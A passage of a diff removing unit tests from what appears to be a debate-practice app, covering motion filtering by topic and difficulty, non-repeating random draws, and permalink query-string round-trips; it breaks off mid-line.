- const picked = filterMotions(PRACTICE_MOTIONS, { topics: ['sport', 'health'], difficulties: ['novice'], types: ['policy'] }); - expect(picked.length).toBeGreaterThan(0); - expect(picked.every((motion) => ['sport', 'health'].includes(motion.topic) && motion.difficulty === 'novice' && motion.type === 'policy')).toBe(true); - expect(filterMotions(PRACTICE_MOTIONS, NO_FILTERS)).toHaveLength(PRACTICE_MOTIONS.length); - }); - - it('draws distinct motions and avoids the ones just shown', () => { - const pool = PRACTICE_MOTIONS.slice(0, 5); - const three = drawMotions(pool, 3, () => 0); - expect(three.map((motion) => motion.id)).toEqual([pool[0].id, pool[1].id, pool[2].id]); - const next = drawMotions(pool, 2, () => 0, three.map((motion) => motion.id)); - expect(next.map((motion) => motion.id)).toEqual([pool[3].id, pool[4].id]); - // Too few fresh ones left: draw from the whole pool rather than come up short. - expect(drawMotions(pool, 3, () => 0.999, three.map((motion) => motion.id))).toHaveLength(3); - expect(drawMotions([], 3)).toEqual([]); - }); - - it('round-trips permalinks and ignores what it does not know', () => { - const filters: MotionFilters = { topics: ['education'], difficulties: ['advanced'], types: [] }; - const search = searchFor(filters, ['edu-019', 'edu-023'], 'resolved'); - expect(search).toBe('?m=edu-019%2Cedu-023&topic=education&level=advanced&wording=resolved'); - expect(filtersFromSearch(search)).toEqual(filters); - expect(motionsFromSearch(PRACTICE_MOTIONS, search).map((motion) => motion.id)).toEqual(['edu-019', 'edu-023']); - expect(motionsFromSearch(PRACTICE_MOTIONS, '?m=nope-001,edu-001,edu-001')).toHaveLength(1); - expect(filtersFromSearch('?topic=education,